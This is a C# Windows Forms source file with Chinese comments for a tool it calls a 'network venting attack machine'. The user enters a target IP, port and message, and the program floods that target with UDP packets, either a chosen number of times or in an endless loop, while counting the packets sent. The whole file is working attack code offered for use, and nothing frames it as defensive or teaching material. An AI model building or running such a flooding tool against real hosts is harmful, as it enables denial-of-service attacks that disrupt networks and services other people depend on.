using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading; namespace socket_sender
{
/// <summary>
/// Form1 的摘要說明。
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
public bool run=false; //開始攻擊的標誌
public string sendstr="泄憤！"; //待發送的內容
public int count=0; //發送次數
public Thread myAttack; //攻擊線程
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox t_dis;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox t_numb;
private System.Windows.Forms.RadioButton r1;
private System.Windows.Forms.RadioButton r2;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Label label3;
public System.Windows.Forms.TextBox t_port;
private System.Windows.Forms.Label label4;
public System.Windows.Forms.TextBox t_content;
public System.Windows.Forms.Label msg;
private System.Windows.Forms.Label label5;
private System.Windows.Forms.TextBox t_locPort;
/// <summary>
/// 必需的設計器變量。
/// </summary>
private System.ComponentModel.Container components = null; public Form1()
{
//
// Windows 窗體設計器支持所必需的
//
InitializeComponent(); //
// TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
//
} /// <summary>
/// 清理所有正在使用的資源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
} #region Windows 窗體設計器生成的代碼
/// <summary>
/// 設計器支持所需的方法 - 不要使用代碼編輯器修改
/// 此方法的內容。
/// </summary>
private void InitializeComponent()
{
this.label1 = new System.Windows.Forms.Label();
this.t_dis = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.t_numb = new System.Windows.Forms.TextBox();
this.r1 = new System.Windows.Forms.RadioButton();
this.r2 = new System.Windows.Forms.RadioButton();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.label3 = new System.Windows.Forms.Label();
this.t_port = new System.Windows.Forms.TextBox();
this.label4 = new System.Windows.Forms.Label();
this.t_content = new System.Windows.Forms.TextBox();
this.msg = new System.Windows.Forms.Label();
this.label5 = new System.Windows.Forms.Label();
this.t_locPort = new System.Windows.Forms.TextBox();
this.SuspendLayout();
//
// label1
//
this.label1.Location = new System.Drawing.Point(24, 104);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(56, 16);
this.label1.TabIndex = 0;
this.label1.Text = "目標IP：";
//
// t_dis
//
this.t_dis.Location = new System.Drawing.Point(112, 96);
this.t_dis.Name = "t_dis";
this.t_dis.Size = new System.Drawing.Size(192, 21);
this.t_dis.TabIndex = 2;
this.t_dis.Text = "";
//
// label2
//
this.label2.Font = new System.Drawing.Font("宋體", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(134)));
this.label2.ForeColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(64)), ((System.Byte)(0)));
this.label2.Location = new System.Drawing.Point(112, 24);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(136, 16);
this.label2.TabIndex = 2;
this.label2.Text = "網絡泄憤攻擊機";
//
// t_numb
//
this.t_numb.Enabled = false;
this.t_numb.Location = new System.Drawing.Point(232, 240);
this.t_numb.Name = "t_numb";
this.t_numb.Size = new System.Drawing.Size(40, 21);
this.t_numb.TabIndex = 12;
this.t_numb.Text = "";
//
// r1
//
this.r1.Location = new System.Drawing.Point(152, 240);
this.r1.Name = "r1";
this.r1.Size = new System.Drawing.Size(88, 24);
this.r1.TabIndex = 10;
this.r1.Text = "攻擊次數：";
this.r1.CheckedChanged += new System.EventHandler(this.r1_CheckedChanged);
//
// r2
//
this.r2.Checked = true;
this.r2.Location = new System.Drawing.Point(40, 240);
this.r2.Name = "r2";
this.r2.TabIndex = 8;
this.r2.TabStop = true;
this.r2.Text = "一直循環";
//
// button1
//
this.button1.Location = new System.Drawing.Point(56, 280);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 32);
this.button1.TabIndex = 15;
this.button1.Text = "開 始";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// button2
//
this.button2.Location = new System.Drawing.Point(200, 280);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 32);
this.button2.TabIndex = 16;
this.button2.Text = "停 止";
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// label3
//
this.label3.Location = new System.Drawing.Point(24, 136);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(72, 16);
this.label3.TabIndex = 0;
this.label3.Text = "目標端口：";
//
// t_port
//
this.t_port.Location = new System.Drawing.Point(112, 128);
this.t_port.Name = "t_port";
this.t_port.Size = new System.Drawing.Size(88, 21);
this.t_port.TabIndex = 4;
this.t_port.Text = "";
//
// label4
//
this.label4.Location = new System.Drawing.Point(24, 168);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(64, 16);
this.label4.TabIndex = 0;
this.label4.Text = "內容：";
//
// t_content
//
this.t_content.Location = new System.Drawing.Point(112, 168);
this.t_content.Multiline = true;
this.t_content.Name = "t_content";
this.t_content.Size = new System.Drawing.Size(192, 56);
this.t_content.TabIndex = 6;
this.t_content.Text = "";
//
// msg
//
this.msg.ForeColor = System.Drawing.Color.Red;
this.msg.Location = new System.Drawing.Point(8, 336);
this.msg.Name = "msg";
this.msg.Size = new System.Drawing.Size(296, 16);
this.msg.TabIndex = 9;
this.msg.Text = "發送次數：";
//
// label5
//
this.label5.Location = new System.Drawing.Point(24, 72);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(72, 16);
this.label5.TabIndex = 0;
this.label5.Text = "本地端口：";
//
// t_locPort
//
this.t_locPort.Location = new System.Drawing.Point(112, 64);
this.t_locPort.Name = "t_locPort";
this.t_locPort.Size = new System.Drawing.Size(88, 21);
this.t_locPort.TabIndex = 1;
this.t_locPort.Text = "8000";
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(328, 357);
this.Controls.Add(this.msg);
this.Controls.Add(this.t_content);
this.Controls.Add(this.t_port);
this.Controls.Add(this.button1);
this.Controls.Add(this.r2);
this.Controls.Add(this.t_numb);
this.Controls.Add(this.r1);
this.Controls.Add(this.label2);
this.Controls.Add(this.t_dis);
this.Controls.Add(this.label1);
this.Controls.Add(this.button2);
this.Controls.Add(this.label3);
this.Controls.Add(this.label4);
this.Controls.Add(this.label5);
this.Controls.Add(this.t_locPort);
this.Name = "Form1";
this.Text = "小y";
this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
this.ResumeLayout(false); }
#endregion /// <summary>
/// 應用程序的主入口點。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
} //開始按鈕
private void button1_Click(object sender, System.EventArgs e)
{
//檢測ip和端口號是否填寫完整
if(t_dis.Text==""||t_port.Text==""||t_locPort.Text=="")
{
MessageBox.Show("本地端口，目標IP和端口三項不能爲空！");
return;
}
//檢查是否有自定義發送消息
if(t_content.Text!="")
sendstr=t_content.Text;
//開啓線程來實現攻擊
Thread myAttack=new Thread(new ThreadStart(this.SendTo));
myAttack.Start();
} //線程主函數，功能：發送攻擊數據包
public void SendTo()
{
msg.Text="線程啓動……";
//建立EndPoint和socket
IPEndPoint localHost=new IPEndPoint(IPAddress.Any,int.Parse(t_locPort.Text));
IPEndPoint remotHost=new IPEndPoint(IPAddress.Parse(t_dis.Text),Convert.ToInt16(t_port.Text));
Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp);
s.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.SendTimeout,5);
//開始建立連接
try
{
s.Bind((EndPoint)localHost);
s.Connect(remotHost);
}
catch(SocketException e)
{
MessageBox.Show("建立連接失敗！"+e.Message.ToString());
return;
} //如果連接成功，開始發送數據包
msg.Text="連接成功！";
byte[] sendb=Encoding.Default.GetBytes(sendstr);
run=true;
while(run)
{
Application.DoEvents();
if(r1.Checked)
{
//如果選擇了多少次
for(int i=1;i<=Convert.ToInt16(t_numb.Text);i++)
{
s.Send(sendb,sendb.Length,0); //發送數據
count++;
msg.Text="發送次數："+count;
}
run=false; //攻擊完指定次數後，循環結束
}
else
{
//選擇了一直髮送
s.Send(sendb,sendb.Length,0); //發送數據
count++;
msg.Text="發送次數："+count;
}
}
s.Close();
run=false;
msg.Text="線程退出，攻擊停止！";
} //停止攻擊
private void button2_Click(object sender, System.EventArgs e)
{
run=false;
}
//指定發送次數
private void r1_CheckedChanged(object sender, System.EventArgs e)
{
if(r1.Checked)
t_numb.Enabled=true;
else
t_numb.Enabled=false;
}
//關閉
private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
run=false;
if(myAttack!=null)
myAttack.Join(3000);
}
}
}
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